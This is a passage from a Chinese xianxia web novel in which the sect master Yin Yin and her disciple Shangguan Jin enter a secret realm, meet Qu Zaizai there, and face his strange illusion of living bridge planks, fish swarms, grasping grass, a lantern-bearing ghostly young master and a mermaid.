管理弟子有条不紊地安排着对擂事宜,会场也愈发热闹,并没有因为昨日魔修的插曲冷淡下来。
高座上器峰峰主的位置空了下来。陶砌昨日挨了骂,今天大抵是忙前忙后处理楚横的事情,无暇莅临。
擂台过半,已有多位峰主离座,殷吟来时只见到卜漪一人,正感慨着她工作认真,白衣医者却施施然与她换了个眼神,随即离去。
殷吟骤然反应过来,这是把整个会场的秩序都交给她看了。
于是她毫不客气地在自己的座位旁摆上一道椅子,让上官今有地方可以休息。
殷吟入座,便有弟子执了玉壶与杯盏上来为她斟茶。殷吟习惯弟子泡的茶过烫,指尖流窜出灵力稍作冷却,方才饮下。
她的目光在会场之上来回,先不动声色地去瞟公示处,见端稚的名字缀在亮起的末端,便知他不久前刚被点名入擂台。
现已过了初赛,擂台进行不会如之前那般快,看来她来得不算晚。
殷吟细细回想着一年前见到端稚时他的面容,当时她为了捧杀他,故意近看过一番。现依稀仍记得是杏仁一般圆圆的狗狗眼,天真模样,鼻子小巧却挺,放在人群中也不会泯然众人。
照此记忆,她逡巡几个来回,如愿在一个犄角旮旯寻到了一个聚齐此几特征的人。
少年抹额下的眼睛很亮,与她记忆之中的端稚不谋而合。同擂台的是一个兽修,兽修放出了一只面容凶狠的灵犬,他对战间却不显得吃力,反倒游刃有余,长剑似袖。
殷吟微微惊讶,端看他倒是一副正人君子的模样,瞧不出何处不好。
难道是她狭隘,只是见他仍在道生宗,并归到了其他峰名下,便先入为主以为他有问题吗?
殷吟做这一切时,身后的上官今端坐如松,若无其事地将她的细微动作收入眼中,一时若有所思。
早在殷吟遮遮掩掩时,他便猜要看的这场擂台与他认识的人有关。而方才她虽危坐不动,却时而手转杯盏状若急躁,时而将手指微屈扣在桌案,怡然自得。
上官今垂下眼帘,长长的睫毛在手心投下一片精巧脆弱的阴影,细而翘起。
师尊找到想要看的人了。
执茶壶的弟子察言观色,见殷峰主的弟子眉眼之间露着些许苍白,便噤声上前,想倒杯茶给他润润喉咙。
弟子的动作却反被上官今止住,他端过茶壶,自后倾身将桌上冷了的杯盏拿起,茶水徐徐入杯。
台上对擂,台下殷吟耳听八方,收集着弟子席位间零散的信息。
席位中谈论端稚的并无多少,她拼拼凑凑,最后也不过得知了点他的家世背景。
端稚家中富裕,而非一般的富裕。
器峰的修者通常最是缺钱,他们的锅炉一旦开启,灵火、玉石、原材料样样都不可缺少,若不喂到了坎,练出来的就只能是一堆废铁,但端稚就从来没有关于原料的忧愁。
殷吟听到最令她大开眼界的一句话便是,端稚的锅炉每一次倾入玉石,都是以万计的。
因而,一般的法器他不炼。
小擂台上,抹额少年的眉心忽地一闪,从中一抹湛蓝的灵力化马而出,奔腾着将灵犬踩踏蹄下,兽修登时跪地,呕出一口血来。
那条抹额是件近乎仙阶的法器,需以灵火锻烧九十九日,每时辰换入一批新的玉石连带各种奇珍异宝,方才有半成可能炼成。
殷吟听席中弟子口若悬河,不禁感慨有钱人修仙真是挥金如土,复又端起斟上了茶的杯盏。
她将小巧的杯盏拢在掌心,心念一动,方欲分出几缕灵力去,却感知到由杯壁传来的温度,调动的灵力一顿。
殷吟低下头看,杯中茶水倒映出她的面容,寂寂无波,眨了一下眼。
水是温的。
她觉得奇怪,回头去看上官今,见他神色自然似无察觉,目光不知道远远地落在了哪个小擂台上。
再远处,执茶壶的弟子亦无表情,站姿如松。
殷吟狐疑地转正身子,抿了口茶,身后的目光方又幽幽回到她身上。
真是奇怪。
殷吟端着杯盏端详,想找找有何端倪,待反应过来自己是来看端稚之时,台上少年早已不知所踪。
·
宗内大比如火如荼地进行数日,最终列出了一张今年参赛弟子的总积分榜。殷吟便按宗主要求,将名单上的弟子按入宗年份分类理出各级的前百名,最后带着分好类的新名单往主峰去。
按例,各级前百名的弟子可获得进入今年的秘境的资格,同时还会再放出一定的名额给各峰,由峰内自行确定出额外的人选。
殷吟不明白这种事情为什么不交给天地签去整理,直到她叩开主殿大门,在山水墨色之间发现那位孤零零饮着茶的老者时,心中才隐隐生出不祥的预感。
老者瞥见她,当下露出慈祥的笑容,抬手招她上前。
殷吟盯着那只皱褶堆叠的手看了片刻,心中不情不愿,还是故作不知地走近去,将名单轻放案上。
上次他要派她去小宋岭时也是这种笑容,这次想必也不会有什么好事。
果不其然,老者抚着胡须绕了个弯子:“今年的秘境马上要开启了。”
“我需要你进入秘境,保护一面镜子。”
殷吟眨了下眼:“怎么又是我?”
她的语气和善,仿佛只是单纯在疑惑,为什么这么多位峰主,每次都只叫她去。
老者神色为难:“兹事体大,宗内和颂宗皆出现了魔族的踪迹,恐怕它们不会善罢甘休。秘境之中的这面镜子十分重要,我思来想去,只有你最为合适。”
殷吟默了默。
“什么镜子?”
“届时你就会知道,那面镜子之中有很强大的力量,且不会对外人开放。你只需要在秘境开启的期间,在旁守着它,不要让其他人靠近就好。”老者长袖一拂,将一
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颗黑色的明珠递来。
明珠通体漆黑,色稠如墨,以至于其上似有若无地流转着光晕,却微乎其微,极难辨别是真是幻。
殷吟将珠子收好,应下此事。
不为别的,她的任务还没有完成,若是道生宗真抵抗不住魔族侵扰而灭,她也是会有些烦恼的。
于是三日之后,秘境之外的传送阵,上官今一袭常服,身姿端正地立于人群之中,如苍松翠柏,亮眼得很。
只不过他的身形有些过于周正了,背脊笔直,手贴着佩剑,一动不动。有几位眼熟的同届同修想与他打个招呼,他也只轻轻颔首,如仙人遗世独立,波澜不惊。
待要入秘境的人几乎都站在了自己的传送阵中,全场寂静,无声无息,上官今悄声问虚空:“师尊,你这样做真的好吗?”
他的背上传出一个装腔作势的声音,热气轻拍在耳尖:“有何不可,我都说了我是有正经事情要办的。”
“嗯,”上官今附和,感觉到背上的人快掉下来了,佯装整理衣摆,握着她的脚踝往上托了托,“师尊——”
殷吟稳不住身形,自觉颜面一扬,语气不善:“你还有何指教?”
“没有,我只是有些呼吸不了。”
殷吟:“……”
她无声地松了松手。
宗主要她进秘境去保护一面镜子,却又担心打草惊蛇,并没有为她单独准备一个传送阵,她只好自寻出路。
好在上官今在初赛赢了楚横,峰内念他情况特殊,推选时便留了个位,让虽然只有初赛积分的他也获得了进秘境的资格。
至于楚横,已经被废了所有修为,洗掉所有记忆扔回家去了,不提也罢。
待最后一两位姗姗来迟的同修就位,场上几百个鳞次栉比的传送阵便同时启动,一时白光大盛,遮天蔽日。摩肩接踵的广场之上,几百人的身形霎时消失。
白光散去,殷吟便解开隐身咒,轻巧地从上官今背上跳下来,细细揉着绞得酸痛的十指。
进入秘境的机缘难得,传送阵画得小,一般得此机缘的人也不会想到要冒着风险硬驮个人进来,所以宗内这么做也不失为一个主意。
只不过没能防住她,还是让她找到空子进来了。
殷吟四下观察,发现实在没什么可看的东西。
甫一踏入这方天地,若不是上官今还在身侧,她都要怀疑自己是不是回到虚无空间去了。
天是黑的,地是黑的,四周漆黑无物,连声音都没有,仿佛都被吞噬尽了,只剩下她们两个人。
黑洞洞一片的空间之中,忽地远远伸出一只手,拨动着如墨的黝黑,身形影影绰绰。
上官今眼尖瞧见,上前一步挡在二人之间,又被殷吟侧身扳了回去。
他垂眼看,殷吟神色清清,无波无澜。
待那远处的人影又近几步,一张有几分的面孔便从黑烟之中现出来,被呛得面容扭曲地咳嗽几下。
殷吟与上官今换了个眼神,神色古怪地对远处而来的人道:“是你?”
23. 再来
这件事情着实古怪。
秘境虽说是历练与寻求机缘的地方,但宗内为防弟子在境中为哄抢宝物大打出手,引发不必要的争斗,在制作传送阵之时特意下了心思。
每个传送阵都与秘境之中的不同空间相通,各个空间之间没有通道且不能打破。如此一来,各人便能寻各人的机缘,泾渭分明,井水不犯河水。
所以,屈再再为什么会和她们进到同一个秘境空间之中?
屈再再挠挠头,赧然一笑:“哈哈,真是奇怪,不过也没有办法,传送阵只会在秘境结束或者是弟子性命垂危时再启动。”
殷吟与上官今又四目相对,从各自的眼睛中看到了明晃晃的无可奈何。
屈再再跃跃欲试:“不然我们现在开始寻宝吧?我保证!我屈再再不会抢夺其他人的宝物的,不然我天打雷劈万劫不复!”
殷吟上前一步,按住迫不及待的屈再再:“行,既然没有其他办法,我们现在开始,不要浪费时间。”
“谁先来?”
屈再再眼中星星闪动,亮晶晶地注视着她。
殷吟额角一抽:“那就你来。”
屈再再翘首以盼的神色霎时一僵,怔愣地指了指自己,动作僵硬:“我?”
“怎么了?”殷吟看他,“我们也可以发誓,一定不会抢你的东西的。”
秘境之中,弟子可以投以自己的一丝心魔,由秘境解构并造出一片幻境,弟子通关幻境便可相应获得一件宝物,等级与心魔的高低紧密相关。
她们与屈再再本就不是通过一个传送阵进来,故殷吟让他先开始,若构出幻境能辨别她们并非同伙,分开她们,便再好不过。
屈再再神色纠结,小步小步挪到一旁不语的上官今面前,期盼道:“我不敢,你先来嘛。”
上官今睇他,显然对这番请求不为所动,后移一步,离屈再再远一些去。
殷吟见他走近来,似是无声站了队,抬头道:“你来也可以。”
上官今垂睫,望进一片认真的神情:“我吗?”
“嗯。”
无论是上官今还是屈再再,只要一个人开了幻境,如若幻境会区别不同传送阵进入的弟子,她们便都能分离。
“好。”上官今自指尖飘出一股灵力,那股灵力蜿蜒曲行,其中似乎有什么东西在撕扯,使灵力走势愈发诡谲,弯弯绕绕地被没入黑暗之中。
心魔有分等级,欲望、痴嗔、渴求、怨恨各有不同,所呈现出来的样式也不相同。
殷吟眼底微动,脚下站定,想看看如此郁结的心魔能生出怎样一番宏伟的幻境。
黑灯瞎火之中,原本沉寂的空间忽然躁动,似乎有什么看不见的东西在他们四周穿行,行迹不定,时缓时疾。
那黑气绕行几圈,突然自三人面前窜出黑雾,旋成一股的样式,上窄下宽,忽然变换出了人形。
虎背熊腰的壮汉一手执剑,双腿扎着马步,稳稳当当,面色凶狠地怒审来人。
殷吟:“……”
她未动作,屈再再已指着飞扬跋扈、顶着一张神似楚横的脸的彪形大汉,眉梢挑动:“这是你的心魔啊?”
上官今默然。
且不说楚横并无资格成为他的心魔,单论方才,他投给秘境的决计不是这个东西。
殷吟瞅他神色,摆摆手道:“解决他。”
上官今领意,腰间苍山骤然飞出,离弦之箭一般,神似楚横的壮汉未来得及动作,便被一剑穿透射回黑雾之中。
苍山轰鸣,调头从稠黑之中飞出,撞回剑鞘之中。
虚空之中震动一声,并不剧烈,随即一棵散发着微弱灵气的仙草蓦然凝实,掉落地上。
这就是本次的机遇。
屈再再掂起观察,只是一株再寻常不过的低阶仙草,宗内随便找块地浇个水都能长出来。他拉唇一动:“再来?”
殷吟凝噎:“……再来。”
投入心魔的等级太低,像是纠结午饭时少吃了一个丸子这样的小事,便不足以让秘境幻化出幻境来。
上官今亦知道这个道理。他心中生怪,却未说出,只是又抽出一丝较先前那丝更大的心魔融入灵力,于指间窜出。
灵力被黑雾吸入,秘境躁动片刻,四处景物并不变化,只是又飞出一道黑气化作人形,张牙舞爪地瞪视三人。
这次大壮执的是两个锤子,锤头胀得有脑袋大,看起来很不协调,像唱戏的。
屈再再疑惑:“那场擂台的阴影有这么深吗?”
他方欲上前去仔细观察那两柄大锤子,苍山凛冽的剑风已擦着他的耳朵飞过,直直将大壮再次撞入黑雾之中。
又一株仙草凭空落地。
这次,仙草被殷吟捡了起来,她摆弄手中草药,又看看上官今。
草尖拂过他的鼻梁,上官今听到一声清淡的询问。
“再来?”
他想偏头,又止着不让自己动,忸怩来回之时,本能已经应下此言,灵力徐徐于指尖飘出。
于是在接下来的一刻钟内,三人见识到了耍鞭子的楚横,像山一般高大的楚横,出场自带一棵大树、所经之处树木勃发的楚横,层出不穷。
殷吟看得累了,便在旁边架了把小凳子,坐着同屈再再说小话。留苍山分身乏术,一剑撞入黑雾之中尚未拐弯,后面的黑气就又接受了新的心魔,桀桀笑着化作楚横。
苍山:“……”
他的主人被魇住了吗?
直到一缕不同寻常的黑气逶迤而出,在空中盘绕出蛇行一般的优美曲线,久久不化人形,举动甚为优雅,方才吸引了偏离主题的二人。
殷吟手握着一把仙草,拍拍抱膝而坐的屈再再:“你猜这次是什么?”
“呃,不会是蛇妖吧。”屈再再被那柔
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韧的形状吓了一跳,登时觉得心上像被蛇鳞划过一般。
黑气像是知道有人在等它化形一般,万众瞩目之下,终于轻轻一抖,变换出了形状来。
此次的楚横出场得尤为盛大,四周黑气虚虚飘动,如同仙子下凡,给他镀上一层飘渺的仙气。虚虚实实之中,楚横伸出森森然一只白手,细若白骨。
他眼尾染了螺黛,眼线细细上挑,看出是费了一番心神的妆面,以手心托着下巴,侧身轻笑时,身上缀着的大片银铃来回摇晃,如梦如幻。
殷吟深吸一口气,闭上双眼吩咐道:“解决他。”
方才那一通的神神鬼鬼尚能入眼,这个妖冶造作的楚横她是真的看不下去。
上官今见她紧闭双眼,眼睫微颤,不免泛出几分歉意,他分出的心魔与楚横并不干系,怎会化出这样的东西?
苍山感知到主人命令方欲去刺,已有一道灵力先它一步,迅雷不及掩耳地将楚横轰回黑雾之中。
屈再再放下掌,仍觉心有余悸:“……吓死我了。”
比蛇妖还骇人。
屈再再的灵力击入黑雾之中,并不似苍山能够抽身出来。秘境本就会吸收修者的灵力,变换了几十次的黑气陡见有新的灵力进来,不免新奇,紧紧上去一口吞噬。
与此同时,秘境空间开始颤抖。
不同于方才的那般小试牛刀,现下,整个空间像是一个被孩提抓在手心把玩的物件一样,天地都剧烈摇晃起来。
殷吟收起凳子,在天地混乱之间勉强稳住身形,惊疑道:“屈再再你干了什么?”
屈再再不明所以,他的定力不如剑修好,此时随着地面的运动欲哭无泪地左摇右晃。
偏生两位剑修没有一个好心眼来扶他的,一个兀自凝神,一个眼睛不止地往师尊身上瞟,将他一个客人全然忘怀。
“我不知道啊——”
陡然天地变化起来,月色当空,屈再再天昏地暗,下一秒便被狠狠甩到桥栏之上。
腹部撞上坚硬冰冷的木头,他抱着栏杆面色青白,强忍住自喉咙涌上的不适之感。
殷吟扶他起来,借着拱桥最中间的拔高地势,俯瞰这片人界幻境的景象。
这应该是方才屈再再飞出的灵力造成的,也就是屈再再的幻境。
境中此时正是夜晚,月亮如一个玉盘缀在乌黑的空中,皎洁幽远,桥下蔓延出一条似直似弯的青砖路,两侧商铺井然有序,行人点点。
“你放了什么心魔在灵力里吗?”
屈再再神色古怪:“我没有放。”
殷吟不疑有他,神色稍稍凝重。
方才事出紧急,屈再再想必没有时间,他也并无动机往灵力中注入心魔。既如此,那秘境在他的灵力之中解构出来,就只能是盘踞在屈再再内心最深处、与他最密不可分的心魔。
这将是一场危机四伏的幻境。
24. 好丑的鱼
上官今看着眼前二人相依,短短一个时辰不到,俨然已是一派闺中密友的姿态,惺惺相惜唇亡齿寒。
他觉得,师尊已然忘了她本是要甩掉屈再再的。
殷吟恰时回过头来,似乎终于想起还有一个人,朝他招招手:“走,我们先下去。”
二人交叠一起的手臂终于分离,上官今缀在其后,思忖着是否要上前一步。
桥上骤生异动。
这是一座木桥,左右有栏杆相护,防着行人不慎落入水中,方才屈再再就是撞在了上面。此时,栏杆最上方那条贯穿河流的拱形横木忽地一抖,竟像是生出神智一般,缓缓蠕动起来。
殷吟心中发毛,催促道:“快下去。”
此处左右都是水,且不知水中是否有其他东西,若等两边横木包围起来,便是前有狼后有虎,无处可去了。
二人显然也深知此理,抬步向桥下去。
夹于两侧的横木察觉桥上人微妙的心理变化,骤然加快了动作,巨大的弯曲木身横冲直撞,直冲三人而去。
木条挟着凌厉的风声击来时,殷吟瞳孔骤缩,运气点足跃起,疾速躲过了扫来的横木。
身旁二人效仿,皆是有惊无险。
殷吟心中生寒,见那横木刹不住车往天上飞去,正欲再走,又听到一阵劲风,另一边的横木借着空当也飞了过来。
她只得停步,再跃起躲那横木。
屈再再与上官今接连避开第二条横木,衣袂在跳动时胡乱飘飞,鸡飞狗跳的场景让殷吟骤然想到了什么。
是什么呢。
她微微拧眉,一时无法将两者联想起来。
屈再再见她魂不守舍,仓惶间轻推一把。本想拍人回神,不料最初发出的那条横木在空中拐了个弯,去而复返,又扫了下来。
殷吟仓促躲开,咬牙切齿:“屈再再!”
屈再再胆战心惊:“我错了!”
他想好好道个歉,却被上官今插了空,面前挡了个严严实实。
屈再再看他。
上官今淡声道:“你毛手毛脚。”
屈再再还想反驳,又一根横木扫来,将未出口的话尽数打回了肚子里去。
他也没空再纠结毛手毛脚这个评价:“怎么还没完没了了!”
殷吟抬头看天,两条横木在空中交替旋转,已然达成了动态的平衡,简直就是修仙版的跳绳。
横木再次扫来,她也点足躲开。
好在横木交替的时间是固定的,只要掌握好跳起的规律,一边躲开攻击一边下桥并不算难。
殷吟将发现告知二人,慢慢吞吞地朝桥下挪,不时躲避着飞来的横木,渐渐如鱼得水。
屈再再三两步跳到了最前面,一甩马尾:“也不是什么难事嘛,跟着我走!”
他刚说完,算到横木又要飞来,运气欲起,却陡觉脚下一沉,像是被什么东西拽住了,当下脸色一白。
“诶诶!”
横木扬起的尘风扑到面上,屈再再咬牙,灵力霎时迸发。横木无功而返时,地上只留下一只履子,被夹在两片木板之间变了形。
少了一只履子的屈再再轻巧落地,擦拭额前不存在的冷汗,仍觉心有余悸。
“这桥上还有其他鬼!”
木桥的桥板映照在一片惨淡月光之下,淋着白霜鬼气森森,此时竟此起彼伏地翻动起来,像是一只只索人性命的鬼手,自桥下蔓延出来。
殷吟扫视一眼,心中一阵恶寒:“屈再再,你的幻境到底是个什么东西?”
屈再再接受着二人神情各异的审视,跳着回去捡鞋,欲哭无泪:“我真的不知道……”
幻境虽为无神智之物所化,但由于映照的是人的心魔,或多或少会遵循着现实世界的秩序。
此处又像是一处人界地方,怎么可能会出现打人的栏杆和抓人的桥板呢?
桥上形势进一步严峻,殷吟怕被那桥板夹着履子,每走一步都惴惴不安。几下横木扫过后,三人不进反退,离岸愈远。
殷吟发觉,越靠近岸边的地方,桥板活动得越频繁,也越发没有规律可言,完全卸去所有伪善的粉饰,一心不让几人下桥。
看着远处桥板的速度快得近乎在打快板,三人只好缓缓退回到桥中央去,另寻出路。
上官今扒着残缺的栏杆朝桥下看,水中不知何时聚了一群古怪的鱼,身扁而宽,搅得河水四溅,是方才没有的景象。
若是她们偏安一隅,蜗居在此,下一次加入的阻碍可能就是这些长相奇怪的鱼群了。
下一根横木扫过之后,他点点稳下身形的殷吟的肩,引她过来看。
“好丑的鱼。”殷吟瞥去一眼,点评道。
鱼群愈发躁动起来,聚集着试图跃上桥来,它们跳着不快,但胜在数量巨大,一只叠着一只,竟已隐隐有摸到桥面的迹象。
“……等我。”她将上官今朝内一推,确定他不会被鱼叼下去,旋即翻身跃下,身形在虚空之中急坠。
她在小宋岭的一年清修之中,攀上援下逮鸟捕鱼,修得最好的便是一身轻功,可称得上是履险如夷。
上官今没想到她会跳河下去,身形未定,又仓惶上前查看。
虽然师尊修为高深,但如此行事过于仓促,恐有变故。
浊流之上,殷吟下坠的身形在空中四平八稳,随即一翻,稳稳当当地踩在了一条正翻着肚皮跃出水面的丑鱼,将它压回水面。
丑鱼呆愣的鱼眼有一瞬松动,惊讶于怎么会有人把它踩在脚下,又习惯性地放出一身灵力与她抗争,不让身上人将它踏入河流中。
这样便形成了一番奇丽的画面,远远看着就像是鱼主动托着人在河面之上,心甘情愿地做着冲浪板。
殷吟讶异,试着将一簇灵力注入丑鱼之中,以操控它流动的方向,鱼却抵死不从,兀自流着直线,要回鱼群中钻。
屈再再将头探出栏杆:“打水里!”
殷吟想到要被送到那些光秃秃的丑鱼之中去,心中一阵发毛,急忙随他的指示,朝鱼头旁的水面击入一道灵力。
鱼身微不可见地一震,随后朝相反方向偏去一分。
殷吟冷笑。
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原来还是敬酒不吃吃罚酒的。
她敛了笑,仰头喊道:“下来吧!”
屈再再早等着她这句话,回首去捞又被夹住的履子,跟在最后面跃下来,身形竟也稳,正正落到一只丑鱼之上。
被踏着的丑鱼不情不愿,翻动着在水面之上拍出水波,三只齐齐作响,河面大震,像是某种庞然大物即将出水的前奏。
殷吟放出神识去探水下,朝一惊一乍的屈再再摇头,表明她并没有发觉有何古怪。
“或许不是水中。”上官今淡声,水面之上,原本聚于桥下的丑鱼群如鸟兽散,河面霎时寂寂无波,死水一样。
而水下,影影绰绰的鱼影穿行,一簇接着一簇,有如幽魂。
屈再再一簇灵力骤击在丑鱼身后,惊它提速冲往岸边:“快跑!”
沉寂的鱼群被动静惊扰,迟缓的包围趋势骤然一顿,旋而大动干戈起来,争相追逐着扑向三只载人的丑鱼。
殷吟急忙击出两道灵力,咬牙道:“……屈再再!”
三只载着人的奇怪丑鱼一马当先,以破空之势击水疾行,后缀着一串又一串的长排丑鱼,此起彼伏地仰头跃水而出,景象奇诡。
丑鱼离水,街上行人视若无睹,任架鱼而行的三人卸鱼上岸,如神仙一般腾云驾雾落至地面。
屈再再不解:“他们看不到我们吗?”
“说不定呢,要不要去问问这是什么地方?”殷吟觉得,这个幻境的景致如此接近人间,应当是有原型的。
屈再再想应,却见到水面之上拍打声不辍,甚至更躁,望回头去,竟是那鱼群仍在穷追而来。
他蓦地与一双死鱼眼对视,嘴角一抽:“你们说……它们上不上得来?”
“这是你的幻境,应该是你来觉得它们能不能上来吧?”
屈再再僵硬回头:“那我们跑吧。”
街灯通明,行人来来去去,无动于衷的衣摆被疾驰的两剑剑气挑飞,霎时如同千树万树的花开,却仍恍若未觉。
长串的丑鱼借岸边石飞跃上岸,身形诡异地浮在了虚空之中,鱼尾拍打空气,竟还像在水中那般,动势惊人地向前冲去。
屈再再没有佩剑,双履排直站在苍山之上,引得华美的利剑不止鸣叫,自己亦双腿直打颤。
“……不是说逃命的时候更容易建立良好关系吗?”
上官今无言,斜觑苍山一眼,命它闭嘴。
二剑你追我赶,时前时后,身后鱼群如长长的敛穗迎风摇晃,紧追不舍。不知过了多久,轰鸣的鱼群骤然静歇。
殷吟察觉不对,止住破冻争飞第一的动作,侧回头去查看,却发现鱼群似是换了个芯子一般,一动不动地静在原地。
她心下生疑,破冻掉头,缓缓试探过去。
苍山掉转跟上,上官今:“师尊?”
这些鱼群不是单纯的静止,它们的瞳孔还在动作,如地震一般左摇右晃的运动放在眼白过多的它们身上,显出几分诡异,是一种极度恐慌的眼部动作。
屈再再惊疑:“它们中邪了?”
25. 怎么就是奴了呢
他的声音在无人的月夜之下被传得单薄,分出若有若无的回声融入四周,凄凄切切有如哭咽。
成群的丑鱼就在这声中邪之中,齐齐回过身去,真的如中邪一般,呆若木鸡地摆动尾巴,成片鱼鳞连续闪动,左游右窜,朝河边回去了。
“不追了?什么意思?”看着丑鱼群整齐划一的鱼尾,屈再再摸不着头脑。
殷吟沉默片刻,抬指示意他:“屈再再,你看。”
屈再再沿指看去,终于又跟上二人的思路。
她们正悬停在一处古朴的宅院之前,户对十二,皆镌字雕花,繁复精美,朱漆大门纤尘不染,圆钉鎏金,团簇中央的椒图铺首衔环,深夜之中透出几分颓然的鬼气。
门楣镌刻着行云流水的两个字——
屈府。
锁起来先前的鱼群退避不是中邪,怕是遇邪,被更可怕的东西吓走了。
殷吟不由觉得阴风阵阵,问道:“你家吗?”
屈再再讪讪:“好像是。”
殷吟:“什么叫好像?”
“我已经很久没有回去了,记不太清楚嘛,家门不都是这样,有个门有个石狮,大晚上黑黑的……”
见殷吟与上官今皆默然,屈再再停下了生动的比划,又想到毕竟是自己的幻境,自己得多行思考,眼睛一转建议道:“但是我觉得,如果要破解幻境的话,我们得进去看看。”
话音落地,三道身影接连翻墙,没入屈府之中。
远处有檐牙互啄,楼阁错落,景致宜人。而她们落地的这处青草簌簌,依风而动,空气中泛出隐约的泥土气息,潮湿呕哑。
不远处是一处蜿蜒的石子路,无甚光亮,不知自何处来,也不知通往何处。
风声鹤唳之中,屈再再干巴巴地寒声:“你们说,如果桥会夹人的话,草是不是也可能会拉着人?”
他的想象力并不算强,若是说出来了,那便十成十是感觉到了什么。
殷吟收回观察环境的目光,有些心累:“屈再再……”
他的幻境未免也太险象环生了!
自履子压弯第一根青草之时,草丛暗自丛生,悄无声息拔高的草体攀上履头履身,只片刻,已紧紧黏附住了每一只踩踏其上的鞋子,将精致巧工的刺绣靴面遮得严严实实。
殷吟稍稍用力,没能拔出反愈深陷。
这片土壤与方才的鱼群似乎是一种路数,会根据修士的修为高低而调正自身,于是三人的下陷速度旗鼓相当,才会如此缓慢地反应过来。
破冻骤然穿空而出,镂空剑身斜插入束缚的青草之中,剑风厉厉。
它正欲挑动,镂空的华纹却被杂草钻空而入,层层叠叠地束缚住扯向地面,草身之中的泥土张牙舞爪。
破冻惊慌地六神无主,剑刃乱飘,青草却狂长不止,一簇接着一簇,切不尽地狂压上去。殷吟心疼它,抬手收回储物袋中,递与上官今一个目光。
苍山出鞘,有了前车之鉴,它踌躇着不敢随意下手,琉璃一般的剑身在空中焦急来回,映出流光照彻四方,像黑夜中遗失荒地的一颗夜明珠。
上官今抬手握住剑柄,先去挑动束缚殷吟的草丛,利刃割过,却几乎同时便有新草补上,一波未平一波又起。
这方两位剑修胶着,那厢的屈再再已然趴在地上,双手张开,五指紧揪着地上草。
殷吟哭笑不得,在这个类于流沙的境地下,躺平确不失为一个拖延时间的方法,但会在秘境面前丢脸:“你要和它拔河吗?”
屈再再:“我要画一个阵法!”
他的指尖没在杂草之间划动着。站立之时,草丛会拉扯他的重心,不好他凝神画阵,如今趴下反于他有利。
见他神情认真,殷吟收了笑意,沉沉看他:“画什么?”
“让草再长一点,”屈再再眼睛一亮,阵法已然成形,他手腕翻动,将那巴掌大的阵法推去,“来!”
殷吟眼睛瞪大。
雪白的阵法照亮她履上附着的青草之时,竟像是一只爬墙的蜗牛,膏药一般丝丝黏粘上去,失去了原本的形状,与草融为一体。
青草镀上白芒之时,光彩黯淡,旋即如同在瞬息之间完成了经年累月的积蓄,蔓蔓日茂般迸发,大有直冲云霄之意。
殷吟被这倏地一通生长拉扯着,双履从泥沼之中拔出,身形飞天。她止住晕眩,目光定格在不远处的石子路上,蹬着青草借力跃去。
她脚踝上只余长长一簇青草绕着,破冻乍然出袋将它轻巧割断,又后怕地扑回储物袋中。
做回这些,殷吟已无空暇顾己,整个人扑倒在石子路上,险些将额头磕到一块光洁的鹅卵石的凸面。
她瞳孔骤缩,与那块鹅卵石对视一眼,余惊未平。抬头时,不足一拳的面前赫然出现一张人面。
来人笑容鬼气森森,面色瓷白,俊如艳鬼,提着一方圆纱灯,骨节分明修长。
屈丙烛轻声,如同一条盘绕弓身的毒蛇对她对视,张扬地吐着蛇信子:“什么人?”
殷吟瞳孔凝滞,映着他的倒影,微微震动,下意识编道:“奴无意冲撞公子,公子恕罪。”
她听到身后有窸窸窣窣的动静,青草平息,将未吞干净的二人又吐了出来。
还真是一物降一物,就是不知道这鬼公子又有什么来头。
上官今闻言,神色晦暗,一片不可名隐于浓稠的夜色之中,与纱灯烛火之外。
师尊行事总是喜欢雷厉风行,却也巧舌如簧,三言两语轻巧拨开矛盾。
怎么就是奴了呢。
屈丙烛后撤起身,轻笑:“既是奴,我怎未在府中见过你?”
殷吟跪起来:“奴干的都是些粗活,公子千金之躯,奴无福得见。”
“是吗,”屈丙烛虚虚一笑,将提着的圆纱灯凑近,一格一格的艳红阴影便打在殷
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吟面上,触目惊心,“那今晚倒是巧极。”
殷吟攫紧了手。
屈丙烛面容冷下,幽声定罪:“府中贵人繁多,你们深夜在此吵闹,恐有惊扰贵人,我要罚你们。”
公子清瘦的身影巍峨映在垣墙,无风自动,阴森可怖。
他的眼瞳极黑极深,殷吟背脊笔直与他对望,神识隐隐联系破冻。
他说:“我要鱼。”
殷吟眉尖微蹙:“公子,你说什么?”
“我家娘子养的狸奴饿了,奴三日未能送来一只鱼,”屈丙烛神色幽幽,“我要鱼。”
“……好。”
阴戾的公子得到心仪的答案,神情稍缓,提灯调转身子,沿来时路行回,身姿绰约。
屈再再小声:“那我们去抓鱼吗?”
殷吟斜眼看去:“你们先从那片古怪的草出来。”
古怪的提灯公子并没有下死命令,或加之毒药什么的约束她们一定要去抓鱼,这应当是一件可做可不做的任务。
但眼下没有其他线索,三人仍旧决定朝府中湖那处去看看,若是路遇上其他贵人,也恰好用提灯公子的抓鱼借口搪塞过去。
修士耳聪目明,可感天地灵气变化。殷吟略一感知,便领着二人走向目的地。
她们的方向恰与提灯公子相反,一路月色溶溶,翠草绿树皆如流水一般化开清辉,清冷至极。
清风抚面,在长睫之上遗下一层水淋淋的露色,轻颤流辉。
不知不觉四周已淌着潺潺的流水,无声无息,盛着一池成环的素辉,天地盈盈。
三人被不动声色地困居于这一方泠波之中。
屈再再见这包夹之势,自然而然回想起桥上的丑鱼群,头皮发紧:“鱼又要来抓我们了?”
“嘘。”
方才与抬灯公子沟通一番,殷吟顿悟,这个府中的贵人虽然位于食物链较高处,但胜在能够沟通。若是交流得当,甚至会比丑鱼与青草好对付多。
殷吟又问:“刚才那人你真的不认识吗?”
“我真没印象……”屈再再愈说声音愈小,“屈府里人很多,一般不常走动的话,不会特意去记。”
记了也无甚用处,一年到头至多见一次祭祖。
殷吟还在回想方才那个鬼公子,忽被上官今点点肩头,侧头去看他。
“怎么啦?”
流水不知何时已然漂到近前来,朦朦胧胧的水汽遮蔽之间,隐约露出一尾极华美盛大、鱼鳍如宫扇散开的黛青鱼尾。
那鱼尾有一人更大,影影绰绰,如梦似幻。
殷吟脚步一顿,怕冒犯了这尾美人鱼,一时不知该不该上前。
流水之中传出笑声,如水撞银铃,清透沁人。华贵的鱼尾徐徐没入水中,旋即,似人身的影子漫了出来。
人鱼伸手拨水雾,手肘支在岸边,歪头看着雾外三人,泠声笑问:“什么人?”
26. 屈明魿
她长得极美,一双明眸顾盼生姿,含着水气似是会说话。殷吟常在故事中听闻人鱼美貌可以蛊惑人心,眼下一见,陡觉故事之中并不全是骗人。
若世上有美人鱼,那必然是如面前人一般,天人之姿,绮丽仙子。
殷吟不禁敛裙蹲下,愣愣地注视着她,一时忘言。
